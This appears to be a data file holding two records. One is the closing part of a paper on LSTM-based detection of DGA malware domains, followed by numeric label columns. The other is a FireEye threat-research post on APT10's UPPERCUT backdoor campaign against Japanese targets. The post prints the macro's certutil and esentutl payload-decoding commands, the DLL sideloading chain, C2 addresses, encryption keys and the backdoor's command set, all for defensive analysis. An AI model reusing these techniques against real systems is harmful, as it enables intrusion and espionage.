Nevertheless, analyzing each layer independently does provide some intuition about the model\xe2\x80\x99s operation and performance. The embedding layer in Fig. 1 learns a 128-dimensional vector representation for each character in the set of valid domain characters. A two-dimensional linear projection (via PCA) of the character embeddings is shown in Fig. 8. It is clear that the learned embedding consists of non-orthogonal vectors for each character. This is in contrast to the orthonormal one-hot encoding of bigrams used in the logistic regression character bigram model. The placement of vectors in the - . 0 1 2 3 4 5 6 7 8 9 _ a b c d e f g h i j k l m n o p q r s t u v w x y z 0.0 0.1 0.2 Cryptolocker - . 0 1 2 3 4 5 6 7 8 9 _ a b c d e f g h i j k l m n o p q r s t u v w x y z 0.0 0.1 0.2 ramnit - . 0 1 2 3 4 5 6 7 8 9 _ a b c d e f g h i j k l m n o p q r s t u v w x y z 0.0 0.1 0.2 dyre - . 0 1 2 3 4 5 6 7 8 9 _ a b c d e f g h i j k l m n o p q r s t u v w x y z 0.0 0.1 0.2 suppobox - . 0 1 2 3 4 5 6 7 8 9 _ a b c d e f g h i j k l m n o p q r s t u v w x y z 0.0 0.1 0.2 Alexa Top 1M Fig. 6: Unigram distributions for Cryptolocker, ramnit, dyre, suppobox and the Alexa top one million. TABLE V: DGA Super Families Super Family Member Families Super Family 0 dyre Super Family 1 beebone Super Family 2 Volatile Cedar / Explosive Super Family 3 shiotob/urlzone/bebloh Super Family 4 banjori, cryptowall, matsnu, suppobox Super Family 5 murofet, tinba, shifu, geodo, necurs, Cryptolocker, ramnit, ranbyus, bedep, hesperbot, tempedreve, fobber, nymaim, qakbot, P2P Gameover Zeus, dircrypt Super Family 6 pykspa Super Family 7 pushdo, simda Super Family 8 Post Tovar GOZ Super Family 9 corebot Super Family 10 symmi Fig. 7: All-to-all cosine distance comparison of unigram dis- tributions of all DGA familes and the Alexa top one million. Distances range from 0 to 1 with 0 depicted as white and 1 depicted as black. embedding space (and subsequently, the two-dimensional plot) relates to the similarity or interchangeability of characters for the DGA vs. non-DGA discrimination task. For example, one would infer from the plot that replacing \xe2\x80\x9c9\xe2\x80\x9d with \xe2\x80\x9c5\xe2\x80\x9d would have much less effect on the score of the DGA classifier than would replacing \xe2\x80\x9c9\xe2\x80\x9d with \xe2\x80\x9cw\xe2\x80\x9d. The plot shows that there are obvious clusters of numeric digits and alphabetic characters (and underscore), while the less-common hyphen and period are fairly dissimilar to every other character. Next, we investigate the state (or memory) of several LSTM cells in the second layer of the LSTM model in Fig. 1. The state of an LSTM cell has an initial value that is updated as each character of a domain is fed through the model. It is a function of the current input (embedded character vector) and the previous emission of the LSTM cell. In turn, the LSTM\xe2\x80\x99s emission is a function of the current state, current input, and previous emission. In our model, the final emission (corresponding to the last character in the domain) from each of 128 LSTM cells is fed to the final logistic regression layer of the model to produce the DGA score. Each LSTM cell acts somewhat as an optimized feature extractor on the sequences of embedded character vectors produced from the previous embedding layer, and the cell\xe2\x80\x99s state provides an indication of what the cell is tracking. Similar to [32], Fig. 9 shows the tanh of a particular LSTM cell\xe2\x80\x99s state (called memory in [32]) as it is updated character- by-character during a prediction task. As shown in Fig. 9, some states in our model have a tendency to track common characteristics of domain names in the dataset. For example, Fig. 9(a) shows a state that seems to trend with domain name length, with soft resets on periods and hyphens. The LSTM cell state depicted in Fig. 9(b) appears to accumulate large 6 4 2 0 2 4 2.5 2.0 1.5 1.0 0.5 0.0 0.5 1.0 1.5 2.0 (hyphen) (period) 0 1 2 3 4 5 6 7 8 9 (underscore)a b c d e f g h i j k l m n o p q r s t u v w x y z Fig. 8: Two-dimensional linear projection (PCA) of the embed- ded character vectors learned by the LSTM binary classifier. Note that the model groups characters by similar effect on the LSTM layer\xe2\x80\x99s states and the subsequent model loss. values for long sequences of random alphanumeric characters. The state in Fig. 9(c) seems to accumulate value on sequences of hexadecimal characters, as is the predominant pattern in dyre. Finally, Fig. 9(d) depicts the most common scenario we encountered while inspecting states: it\xe2\x80\x99s generally very difficult to determine precisely what the state is tracking. We note that our application of LSTMs for DGA classification does not yield quite as clearly the distinctive purpose of states as has been demonstrated for natural language models [32]. VI. CONCLUSION This paper presented an approach using LSTM networks to classify DGA generated domains. LSTMs are advantageous over other techniques as they are featureless, using raw domain names as its input. There is no need to manually create features that are difficult to maintain and can be rendered useless in an adversarial machine learning setting. In addition, an LSTM classifier can be run in real-time on single domains on standard commodity hardware making it trivial to deploy in virtually all security settings. Experiments on publicly- available datasets showed that the LSTM classifier performed significantly better than other techniques (both real-time and retrospective), with the ability to classify 90% of DGAs with a false positive rate of 10\xe2\x88\x924. In addition, the LSTM classifier may be trivially modified for multiclass classification, which can provide context about the origin and intent of the domain- generating malware. An in-depth analysis of results showed that the most difficult algorithms to classify are, intuitively, those that are modeled from a similar character distribution as domains in the Alexa top one million. Some of these DGA families concatenate randomly selected words from (typically) English dictionaries. However, the LSTM classifier was able to dis- tinguish those DGA families when the amount of training examples were significant and the families were grouped together in super families. g o o g l e Alexa y o u t u b e f a c e b o o k b a i d u y a h o o w i k i p e d i a a m a z o n q q t w i t t e r l i v e h a o 1 2 3 3 6 0 n a x o s l t s v a c w s s q f v b __________________ ramnit c g c p c u s m w p r k w v p l l w q c b m 2 u t w j g b g v 5 p o p c 8 q . d d n s __________________ corebot 5 0 w l a p c p i 4 5 2 g l y . d d n s t e a 5 2 5 1 9 6 2 0 3 e e 5 8 e 0 c f b 3 f 4 8 6 f c 8 5 5 7 b 4 __________________ dyre a 9 0 5 7 5 6 f 1 2 a f 9 9 2 d 6 6 7 9 c 6 7 6 5 d 1 9 e a a 8 b f t o k u u k c c j b b n __________________ Cryptolocker c w e e m f j x u x s x u h o s t s u r p r i s e r e n t __________________ matsnu t i m e - h o p e - g r o c e r ystate 83 (a) approximately tracks long domain names, with a soft reset on period and hypen g o o g l e Alexa y o u t u b e f a c e b o o k b a i d u y a h o o w i k i p e d i a a m a z o n q q t w i t t e r l i v e h a o 1 2 3 3 6 0 n a x o s l t s v a c w s s q f v b __________________ ramnit c g c p c u s m w p r k w v p l l w q c b m 2 u t w j g b g v 5 p o p c 8 q . d d n s __________________ corebot 5 0 w l a p c p i 4 5 2 g l y . d d n s t e a 5 2 5 1 9 6 2 0 3 e e 5 8 e 0 c f b 3 f 4 8 6 f c 8 5 5 7 b 4 __________________ dyre a 9 0 5 7 5 6 f 1 2 a f 9 9 2 d 6 6 7 9 c 6 7 6 5 d 1 9 e a a 8 b f t o k u u k c c j b b n __________________ Cryptolocker c w e e m f j x u x s x u h o s t s u r p r i s e r e n t __________________ matsnu t i m e - h o p e - g r o c e r y (b) appears to track random alphanumeric sequences, as in ramnit, corebot, dyre and Cryptolocker g o o g l e Alexa y o u t u b e f a c e b o o k b a i d u y a h o o w i k i p e d i a a m a z o n q q t w i t t e r l i v e h a o 1 2 3 3 6 0 n a x o s l t s v a c w s s q f v b __________________ ramnit c g c p c u s m w p r k w v p l l w q c b m 2 u t w j g b g v 5 p o p c 8 q . d d n s __________________ corebot 5 0 w l a p c p i 4 5 2 g l y . d d n s t e a 5 2 5 1 9 6 2 0 3 e e 5 8 e 0 c f b 3 f 4 8 6 f c 8 5 5 7 b 4 __________________ dyre a 9 0 5 7 5 6 f 1 2 a f 9 9 2 d 6 6 7 9 c 6 7 6 5 d 1 9 e a a 8 b f t o k u u k c c j b b n __________________ Cryptolocker c w e e m f j x u x s x u h o s t s u r p r i s e r e n t __________________ matsnu t i m e - h o p e - g r o c e r y (c) appears to track hexademical sequences, as in dyre g o o g l e Alexa y o u t u b e f a c e b o o k b a i d u y a h o o w i k i p e d i a a m a z o n q q t w i t t e r l i v e h a o 1 2 3 3 6 0 n a x o s l t s v a c w s s q f v b __________________ ramnit c g c p c u s m w p r k w v p l l w q c b m 2 u t w j g b g v 5 p o p c 8 q . d d n s __________________ corebot 5 0 w l a p c p i 4 5 2 g l y . d d n s t e a 5 2 5 1 9 6 2 0 3 e e 5 8 e 0 c f b 3 f 4 8 6 f c 8 5 5 7 b 4 __________________ dyre a 9 0 5 7 5 6 f 1 2 a f 9 9 2 d 6 6 7 9 c 6 7 6 5 d 1 9 e a a 8 b f t o k u u k c c j b b n __________________ Cryptolocker c w e e m f j x u x s x u h o s t s u r p r i s e r e n t __________________ matsnu t i m e - h o p e - g r o c e r y (d) as in this example, it is difficult to ascribe an intuitive function of most states Fig. 9: Examples of LSTM cell state values as domain characters are fed into the model. Color corresponds to the tanh of the state, and does not necessarily denote DGA or non-DGA. Color preceeding a domain name denotes the cell\xe2\x80\x99s initial state. Our model correctly identifies DGA or non-DGA for all examples shown except for the final two matsnu examples. We also provided an in-depth analysis of the functional interpretability of each layer in the LSTM DGA classifier. Our analysis revealed that the model optimized vector embeddings for each character in a somewhat intuitive way, with distinct clusters for alphabetic and numeric digits. Our analysis of the LSTM layer revealed the existence of LSTM cells that track a few somewhat interpretable features such as a hexadecimal and random character sequences. However, we found that most states did not provide clear interpretable evidence of function, in contrast to other applications of LSTMs, e.g., [32]. Like all models, experiments show that our model is sensitive to class imbalance, which limits its ability to detect families with very little support in the training set (e.g., matsnu, symmi and cryptowall). In the extreme case of zero training support, it was found that the LSTM model does not generalize well for detecting all families with very distinctive structure. Manually-engineered features were able to detect some of those families that an LSTM classifier missed, and we hypothesize that this is directly a result of expert-tuned bias in the feature set that cannot be represented in the featureless LSTM model. All relevant source code and suggestions on deploying a real-world LSTM DGA classifier were provided by this paper. In addition, we reference open datasets to create an equal classifier to that presented in this paper. To the best of our knowledge, the presented system is by far the best performing DGA classification system as well as one of the easiest to deploy. REFERENCES [1] M. Ku\xcc\x88hrer, C. Rossow, and T. Holz, \xe2\x80\x9cPaint it black: Evaluating the effectiveness of malware blacklists,\xe2\x80\x9d in Research in Attacks, Intrusions and Defenses, pp. 1\xe2\x80\x9321, Springer, 2014. [2] M. Antonakakis, R. Perdisci, Y. Nadji, N. Vasiloglou, S. Abu-Nimeh, W. Lee, and D. Dagon, \xe2\x80\x9cFrom throw-away traffic to bots: detecting the rise of DGA-based malware,\xe2\x80\x9d in P21st USENIX Security Symposium (USENIX Security 12), pp. 491\xe2\x80\x93506, 2012. [3] S. Yadav, A. K. K. Reddy, A. Reddy, and S. Ranjan, \xe2\x80\x9cDetecting algorithmically generated malicious domain names,\xe2\x80\x9d in Proc. 10th ACM SIGCOMM conference on Internet measurement, pp. 48\xe2\x80\x9361, ACM, 2010. [4] S. Yadav, A. K. K. Reddy, A. N. Reddy, and S. Ranjan, \xe2\x80\x9cDetecting al- gorithmically generated domain-flux attacks with DNS traffic analysis,\xe2\x80\x9d Networking, IEEE/ACM Transactions on, vol. 20, no. 5, pp. 1663\xe2\x80\x931677, 2012. [5] S. Krishnan, T. Taylor, F. Monrose, and J. McHugh, \xe2\x80\x9cCrossing the threshold: Detecting network malfeasance via sequential hypothesis testing,\xe2\x80\x9d in 2013 43rd Annual IEEE/IFIP International Conference on Dependable Systems and Networks (DSN), pp. 1\xe2\x80\x9312, IEEE, 2013. [6] F. Chollet, \xe2\x80\x9ckeras.\xe2\x80\x9d https://github.com/fchollet/keras, 2016. [7] M. Knysz, X. Hu, and K. G. Shin, \xe2\x80\x9cGood guys vs. bot guise: Mimicry attacks against fast-flux detection systems,\xe2\x80\x9d in INFOCOM, 2011 Pro- ceedings IEEE, pp. 1844\xe2\x80\x931852, IEEE, 2011. [8] B. Stone-Gross, M. Cova, B. Gilbert, R. Kemmerer, C. Kruegel, and G. Vigna, \xe2\x80\x9cAnalysis of a botnet takeover,\xe2\x80\x9d Security & Privacy, IEEE, vol. 9, no. 1, pp. 64\xe2\x80\x9372, 2011. [9] M. Ward, \xe2\x80\x9cCryptolocker victims to get files back for free,\xe2\x80\x9d BBC News, August, vol. 6, 2014. [10] \xe2\x80\x9cA closer look at cyrptolocker\xe2\x80\x99s DGA.\xe2\x80\x9d https://blog.fortinet.com/post/ a-closer-look-at-cryptolocker-s-dga. Accessed: 2016-04-22. [11] N. Hampton and Z. A. Baig, \xe2\x80\x9cRansomware: Emergence of the cyber- extortion menace,\xe2\x80\x9d in Australian Information Security Management Conference, 2015. [12] A. Cherepanov and R. Lipovsky, \xe2\x80\x9cHesperbot-A new, advanced banking trojan in the wild,\xe2\x80\x9d 2013. [13] Symantec, W32.Ramnit analysis. 2015-02-24, Version 1.0. [14] J. Geffner, \xe2\x80\x9cEnd-to-end analysis of a domain generating algorithm malware family.\xe2\x80\x9d Black Hat USA 2013, 2013. [15] M. Antonakakis, R. Perdisci, D. Dagon, W. Lee, and N. Feamster, \xe2\x80\x9cBuilding a dynamic reputation system for DNS.,\xe2\x80\x9d in USENIX security symposium, pp. 273\xe2\x80\x93290, 2010. [16] L. Bilge, E. Kirda, C. Kruegel, and M. Balduzzi, \xe2\x80\x9cExposure: Finding malicious domains using passive analaysis.,\xe2\x80\x9d in 18th Annual Network and Distributed System Security Symposium, 2011. [17] L. Bilge, S. Sen, D. Balzarotti, E. Kirda, and C. Kruegel, \xe2\x80\x9cExposure: a passive DNS analysis service to detect and report malicious domains,\xe2\x80\x9d ACM Transactions on Information and System Security (TISSEC), vol. 16, no. 4, p. 14, 2014. [18] S. Schiavoni, F. Maggi, L. Cavallaro, and S. Zanero, \xe2\x80\x9cPhoenix: DGA- based botnet tracking and intelligence,\xe2\x80\x9d in Detection of intrusions and malware, and vulnerability assessment, pp. 192\xe2\x80\x93211, Springer, 2014. [19] A. J. Robinson, \xe2\x80\x9cAn application of recurrent nets to phone probability estimation,\xe2\x80\x9d Neural Networks, IEEE Transactions on, vol. 5, no. 2, pp. 298\xe2\x80\x93305, 1994. [20] T. Mikolov, M. Karafia\xcc\x81t, L. Burget, J. Cernocky\xcc\x80, and S. Khudanpur, \xe2\x80\x9cRecurrent neural network based language model.,\xe2\x80\x9d in INTERSPEECH, vol. 2, p. 3, 2010. [21] A. Graves, \xe2\x80\x9cSequence transduction with recurrent neural networks,\xe2\x80\x9d arXiv preprint arXiv:1211.3711, 2012. [22] Y. Bengio, N. Boulanger-Lewandowski, and R. Pascanu, \xe2\x80\x9cAdvances in optimizing recurrent networks,\xe2\x80\x9d in Acoustics, Speech and Signal Pro- cessing (ICASSP), 2013 IEEE International Conference on, pp. 8624\xe2\x80\x93 8628, IEEE, 2013. [23] S. Hochreiter and J. Schmidhuber, \xe2\x80\x9cLong short-term memory,\xe2\x80\x9d Neural computation, vol. 9, no. 8, pp. 1735\xe2\x80\x931780, 1997. [24] F. A. Gers, J. Schmidhuber, and F. Cummins, \xe2\x80\x9cLearning to forget: Continual prediction with LSTM,\xe2\x80\x9d Neural computation, vol. 12, no. 10, pp. 2451\xe2\x80\x932471, 2000. [25] F. A. Gers, N. N. Schraudolph, and J. Schmidhuber, \xe2\x80\x9cLearning precise timing with LSTM recurrent networks,\xe2\x80\x9d J. Machine Learning Research, vol. 3, pp. 115\xe2\x80\x93143, 2003. [26] \xe2\x80\x9cDoes Alexa have a list of its top-ranked web- sites?\xe2\x80\x9d https://support.alexa.com/hc/en-us/articles/ 200449834-Does-Alexa-have-a-list-of-its-top-ranked-websites-. Accessed: 2016-04-06. [27] \xe2\x80\x9cBambenek consulting - master feeds.\xe2\x80\x9d http://osint.bambenekconsulting. com/feeds/. Accessed: 2016-04-06. [28] P. A. Porras, H. Sa\xc4\xb1\xcc\x88di, and V. Yegneswaran, \xe2\x80\x9cA foray into conficker\xe2\x80\x99s logic and rendezvous points.,\xe2\x80\x9d in LEET, 2009. [29] D. Andriesse, C. Rossow, B. Stone-Gross, D. Plohmann, and H. Bos, \xe2\x80\x9cHighly resilient peer-to-peer botnets are here: An analysis of gameover zeus,\xe2\x80\x9d in Malicious and Unwanted Software:\xe2\x80\x9d The Ameri- cas\xe2\x80\x9d(MALWARE), 2013 8th International Conference on, pp. 116\xe2\x80\x93123, IEEE, 2013. [30] P. Royal, \xe2\x80\x9cOn the kraken and bobax botnets.\xe2\x80\x9d https://www.damballa. com/downloads/r pubs/Kraken Response.pdf, 2008. [31] B. Stone-Gross, M. Cova, L. Cavallaro, B. Gilbert, M. Szydlowski, R. Kemmerer, C. Kruegel, and G. Vigna, \xe2\x80\x9cYour botnet is my botnet: analysis of a botnet takeover,\xe2\x80\x9d in Proceedings of the 16th ACM conference on Computer and communications security, pp. 635\xe2\x80\x93647, ACM, 2009. [32] A. Karpathy, J. Johnson, and F.-F. Li, \xe2\x80\x9cVisualizing and understanding recurrent networks,\xe2\x80\x9d in to appear in Proceedings of the Interna- tional Conference on Learning Representations, 2016. arXiv preprint arXiv:1506.02078. https://github.com/fchollet/keras https://blog.fortinet.com/post/a-closer-look-at-cryptolocker-s-dga https://blog.fortinet.com/post/a-closer-look-at-cryptolocker-s-dga https://support.alexa.com/hc/en-us/articles/200449834-Does-Alexa-have-a-list-of-its-top-ranked-websites- https://support.alexa.com/hc/en-us/articles/200449834-Does-Alexa-have-a-list-of-its-top-ranked-websites- http://osint.bambenekconsulting.com/feeds/ http://osint.bambenekconsulting.com/feeds/ https://www.damballa.com/downloads/r_pubs/Kraken_Response.pdf https://www.damballa.com/downloads/r_pubs/Kraken_Response.pdf I Introduction II Background II-A Domain Generation Algorithms II-B DGA Classification II-C LSTM Networks III Method IV Experimental Setup IV-A Evaluation Metrics IV-B Experimental Designs IV-C Data IV-D Comparison to state of the art V Results V-A Binary Classification V-B Leave-Class-Out Binary Classification V-C Multiclass V-D Model Interpretability VI Conclusion References","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"APT10 Targeting Japanese Corporations Using Updated TTPs | FireEye Inc Search Search FireEye.com Go Solutions Enterprise Security Helix Security Platform Verodin Security Instrumentation Network Security and Forensics Endpoint Security Email Security FireEye Expertise Expertise On Demand Managed Defense Threat Intelligence Security For: Cloud Financial Services Government Healthcare Industrial Control Systems VIEW ALL SOLUTIONS Services Breach Response Incident Response Incident Response Retainer Compromise Assessment Security Assessment Red Team Assessments Penetration Testing Security Program Assessment Response Readiness Assessment Active Directory Security Assessment Tabletop Exercise ICS Healthcheck Security Enhancement Education and Training ThreatSpace Cyber Range Security Transformation Cyber Defense Center Development VIEW ALL SERVICES Partners FireEye Partners FireEye Fuel Resellers Technology Partners Cyber Risk Partners Global Service Providers and MSSPs Partner Resources Partner Enablement Partner Portal Partner Education Center Partner Locator Partnering with FireEye Partnering with FireEye Become a Partner Partner Certifications and Accreditations Support Get Support Contact Support Customer Portal Support Programs Find Answers Communities Supported Products Support Notices Documentation Documentation Portal Resources Intelligence Briefing and Bulletins Annual Threat Reports Threat Intelligence Reports Threat Intelligence Reports by Industry Advanced Persistent Threat Groups Cyber Security What is Cyber Security? One Security Platform No. 1 Attack Vector \xe2\x80\x93 Email One Trusted Advisor for Expertise The Vision \xe2\x80\x93 Digital Magazine FireEye Blogs Read the FireEye Blogs Free Tools & Apps Free Software Downloads FireEye Market Training Education and Training VIEW ALL RESOURCES Company About Us Why FireEye? Awards and Honors Leadership Board of Directors Investor Relations Customers Customer Success Customer Stories Careers Job Opportunities University Relations News and Events Newsroom Press Releases Webinars Events Contact Contact FireEye To give you the best possible experience, this site uses cookies.\xc2 Find out more on how we use cookies.Accept Home FireEye Blogs Threat Research APT10 Targeting Japanese Corporations Using Update... Threat Research APT10 Targeting Japanese Corporations Using Updated TTPs September 13, 2018 | by Ayako Matsuda, Irshad Muhammad Malware TTPs Backdoor APT Introduction In July 2018, FireEye devices detected and blocked what appears to be APT10 (Menupass) activity targeting the Japanese media sector. APT10 is a Chinese cyber espionage group that FireEye has tracked since 2009, and they have a history of targeting Japanese entities. In this campaign, the group sent spear phishing emails containing malicious documents that led to the installation of the UPPERCUT backdoor. This backdoor is well-known in the security community as ANEL, and it used to come in beta or RC (release candidate) until recently. Part of this blog post will discuss the updates and differences we have observed across multiple versions of this backdoor. Attack Overview The attack starts with Microsoft Word documents containing a malicious VBA macro being attached to spear phishing emails. Although the contents of the malicious documents are unreadable (see Figure 3), the Japanese titles are related to maritime, diplomatic, and North Korean issues. Table 1 shows the UPPERCUT indicators of compromise (IoCs). File Name MD5 Size C2 \xe8\x87\xaa\xe6\xb0\x91\xe5 \x9a\xe6\xb5\xb7\xe6\xb4\x8b\xe7\xb7\x8f\xe5\x90\x88\xe6\x88\xa6\xe7\x95\xa5\xe5\xb0\x8f\xe5\xa7\x94\xe5\x93\xa1\xe4\xbc\x9a\xe3\x81\x8c\xe6\x94\xbf\xe5\xba\x9c\xe3\x81\xab\xe6\x8f\x90\xe8\xa8\x80\xe7\x94\xb3\xe3\x81\x97\xe5 \xa5\xe3\x82\x8c.doc Government Recommendations from the Liberal Democratic Party\xe2\x80\x99s Comprehensive Strategic Maritime Subcommittee 4f83c01e8f7507d23c67ab085bf79e97 843022 eservake.jetos[.]com 82.221.100.52 151.106.53.147 \xe3\x82\xb0\xe3\x83\x86\xe3\x83\x9e\xe3\x83\xa9\xe5\xa4\xa7\xe4\xbd\xbf\xe8\xac\x9b\xe6\xbc\x94\xe4\xbc\x9a\xe6\xa1\x88\xe5\x86 \xe7\x8a\xb6.doc Invitation to Lecture by Guatemalan Ambassador f188936d2c8423cf064d6b8160769f21 720384 \xc2 eservake.jetos[.]com 151.106.53.147 153.92.210.208\xc2 \xe7\xb1\xb3\xe5\x9b\xbd\xe6\x8e\xa5\xe8\xbf\x91\xe3\x81\xab\xe6\x8f\xba\xe3\x82\x8c\xe3\x82\x8b\xe5\x8c\x97\xe6\x9c\x9d\xe9\xae\xae\xe5\x86 \xe9\x83\xa8.doc North Korean interior swayed by the approach of the United States cca227f70a64e1e7fcf5bccdc6cc25dd 733184 eservake.jetos[.]com 153.92.210.208 167.99.121.203 Table 1: UPPERCUT IoCs For the North Korean lure, a news article with an identical title was readily available online. It\xe2\x80\x99s also worth noting that in the Guatemalan lure, the attacker used an unusual spelling of Guatemala in Japanese. The top result of a Google search using the same spelling led us to the event website for the lecture of the Guatemalan Ambassador, held in August 2018. Figure 1 shows the screenshot of the event page. Figure 1: Event Website for the Lecture of Guatemala Ambassador Figure 2 shows the macro function that displays the lure document. At the bottom of this function, we can see the readable text that matches the contact information found in Figure 1. Thus, people who would have an interest in Latin American issues may have been the targets of this campaign. Figure 2: Macro to display lure document The initial Word documents were password protected, likely in an effort to bypass detection. Once the password (delivered in the body of the email) is entered, the users are presented with a document that will request users to enable the malicious macro, as shown in Figure 3. Figure 3: Lure document Figure 4 shows what happens when the malicious macro is executed. Figure 4: Macro to install UPPERCUT The execution workflow is as follows: 1.\xc2 \xc2 \xc2 \xc2 The macro drops three PEM files, padre1.txt, padre2.txt, and padre3.txt, to the victim\xe2\x80\x99s %TEMP% folder and then copies them from %TEMP% to the %AllUserProfile% folder. 2.\xc2 \xc2 \xc2 \xc2 The macro decodes the dropped files using Windows certutil.exe with the following commands (certutil.exe is a legitimate built-in command-line program to manage certificates in Windows): C:\\Windows\\System32\\cmd.exe"" /c certutil -decode C:\\ProgramData\\padre1.txt C:\\ProgramData\\\\GUP.txt C:\\Windows\\System32\\cmd.exe"" /c certutil -decode C:\\ProgramData\\padre2.txt C:\\ProgramData\\\\libcurl.txt C:\\Windows\\System32\\cmd.exe"" /c certutil -decode C:\\ProgramData\\padre3.txt C:\\ProgramData\\\\3F2E3AB9 3.\xc2 \xc2 \xc2 \xc2 The macro creates a copy of the files with their proper extensions using Extensible Storage Engine Utilities (esentutil.exe) with the following commands (esentutil.exe is also a legitimate program that is pre-installed in Windows): C:\\Windows\\System32\\esentutl.exe"" /y C:\\ProgramData\\\\GUP.txt /d C:\\ProgramData\\GUP.exe /o C:\\Windows\\System32\\esentutl.exe"" /y C:\\ProgramData\\\\libcurl.txt /d C:\\ProgramData\\libcurl.dll /o The dropped files include the following: GUP.exe\xc2 :\xc2 GUP, a free (LGPL) Generic Updater.\xc2 GUP is an open source binary used by Notepad++ for software updates. The version used here is version 4.1 digitally signed by Notepad++, as shown in Figure 5. libcurl.dll:\xc2 Malicious Loader DLL 3F2E3AB9:\xc2 Encrypted shellcode Figure 5: Notepad++ signed updater 4.\xc2 \xc2 \xc2 \xc2 The macro launches the legitimate executable GUP.exe. The executable sideloads the malicious DLL (libcurl.dll), which decrypts and runs shellcode (3F2E3AB9) located in the same folder. The shellcode decodes and decompresses another DLL, which is an updated variant of UPPERCUT. Before decoding the DLL, the shellcode uses an anti-debug technique based on ntdll_NtSetInformationThread which causes the thread to be detached from the debugger, as shown in Figure 6. The DLL is then loaded into memory and the randomly named exported function is called. Figure 6: Anti-debug technique used by shellcode 5.\xc2 \xc2 \xc2 \xc2 The macro deletes the initially dropped .txt files using Windows esentutl.exe and changes the document text to an embedded message. The complete attack overview is shown in Figure 7. Figure 7: Attack overview Several threat actors leverage the technique of using Windows certutil.exe for payload decoding, and APT10 continues to employ this technique. Evolution of UPPERCUT Figure 8 shows the timeline of updates for UPPERCUT. The PE compile time of loaders and the create time of droppers (Word documents) are plotted in the graph. The compile time of loaders in the newer version(s) are not shown here since the timestamps are overwritten and filled with zeroes. We don\xe2\x80\x99t have visibility into UPPERCUT 5.2.x series, but it\xe2\x80\x99s possible that minor revisions were released every few months between December 2017 and May 2018. Figure 8: Timeline of UPPERCUT updates Unlike previous versions, the exported function names are randomized in the latest version (Table 2). Encoded Payload Decoded Payload MD5 Size Import Hash Exported Function Version aa3f303c3319b14b4829fe2faa5999c1 322164 182ee99b4f0803628c30411b1faa9992 l7MF25T96n45qOGWX 5.3.2 126067d634d94c45084cbe1d9873d895 330804 5f45532f947501cf024d84c36e3a19a1 hJvTJcdAU3mNkuvGGq7L 5.4.1 fce54b4886cac5c61eda1e7605483ca3 345812 c1942a0ca397b627019dace26eca78d8 WcuH 5.4.1 Table 2: Static characteristics of UPPERCUT Another new feature in the latest UPPERCUT sample is that the malware sends an error code in the Cookie header if it fails to receive the HTTP response from the command and control (C2) server. The error code is the value returned by the GetLastError function and sent in the next beacon. This was likely included to help the attackers understand the problem if the backdoor is unable to receive a response (Figure 9). This Cookie header is a unique indicator that can be used for network-based detection. Figure 9: Example of callback Earlier versions of UPPERCUT used the hard-coded string \xe2\x80\x9cthis is the encrypt key\xe2\x80\x9d for Blowfish encryption when communicating with a C2. However, in the latest version, the keys are hard-coded uniquely for each C2 address and use the C2\xe2\x80\x99s calculated MD5 hash to determine which key to use, as shown in Figure 10. Figure 10: Blowfish key generation For instance, Table 3\xc2 lists the hard-coded C2 addresses, their MD5 hash, and the corresponding Blowfish key in the decoded payload of 126067d634d94c45084cbe1d9873d895. C2 MD5 Blowfish Key hxxp[:]//151.106.53[.]147/VxQG f613846eb5bed227ec1a5f8df7e678d0 bdc4b9f5af9868e028dd0adc10099a4e6656e9f0ad12b2e75a30f5ca0e34489d hxxp[:]//153.92.210[.]208/wBNh1 50c60f37922ff2ff8733aaeaa9802da5 fb9f7fb3c709373523ff27824ed6a31d800e275ec5217d8a11024a3dffb577dd hxxp[:]//eservake.jetos[.]com/qIDj c500dae1ca41236830b59f1467ee96c1 d3450966ceb2eba93282aace7d7684380d87c6621bbd3c4f621caa079356004a Default \xc2 Default f12df6984bb65d18e2561bd017df29ee1cf946efa5e510802005aeee9035dd53 Table 3: Example of Blowfish keys In this example, the MD5 hash of hxxp[:]//151.106.53[.]147/VxQG will be f613846eb5bed227ec1a5f8df7e678d0. When the malware interacts with this URL, bdc4b9f5af9868e028dd0adc10099a4e6656e9f0ad12b2e75a30f5ca0e34489d will be selected as a Blowfish key. If the MD5 hash of the URL does not match any of the listed hashes, then the default key f12df6984bb65d18e2561bd017df29ee1cf946efa5e510802005aeee9035dd53 will be used. Another difference in the network traffic generated from the malware is that the encoded proxy information has been added in the URL query values during the C2 communication. Table 4 shows the parameters sent to C2 server from the backdoor in the newer versions. These are sent via POST request, as shown in Figure 9. Table 4: URL parameters Additionally, the command string is hashed using the same RGPH hashing algorithm as before. Two more commands, 0xD290626C85FB1CE3 and 0x409C7A89CFF0A727, are supported in the newer versions (Table 5). Commands Description 0x97A168D9697D40DD Download and validate file (XXHash comparison) from C2 server 0x7CF812296CCC68D5 Upload file to C2 server 0x652CB1CEFF1C0A00 Load PE file 0x27595F1F74B55278 Download, validate (XXHash comparison), execute file, and send output to C2 server 0xD290626C85FB1CE3 Format the current timestamp 0x409C7A89CFF0A727 Capture the desktop screenshot in PNG format and send it to C2 None of the above The received buffer is executed via cmd.exe and the output is then sent to the C2 server Table 5: Supported commands Conclusion While APT10 consistently targets the same geolocation and industry, the malware they use is actively evolving. In the newer versions of UPPERCUT, there is a significant change in the way backdoor initializes the Blowfish encryption key, which makes it harder for analysts to detect and decrypt the backdoor\xe2\x80\x99s network communications. This shows that APT10 is very capable of maintaining and updating their malware. To mitigate the threat, users are advised to disable Office macros in their settings and not to open documents from unknown sources. FireEye Multi-Vector Execution (MVX) engine is able to recognize and block this threat with the following detection names: APT.Backdoor.Win.UPPERCUT FE_APT_Backdoor_Win32_UPPERCUT Previous Post Next Post Promotion Recent Share Subscribe RSS Recent Posts 07 Sep 2019 Open Sourcing StringSifter 05 Sep 2019 Ransomware Protection and Containment Strategies: Practical Guidance for 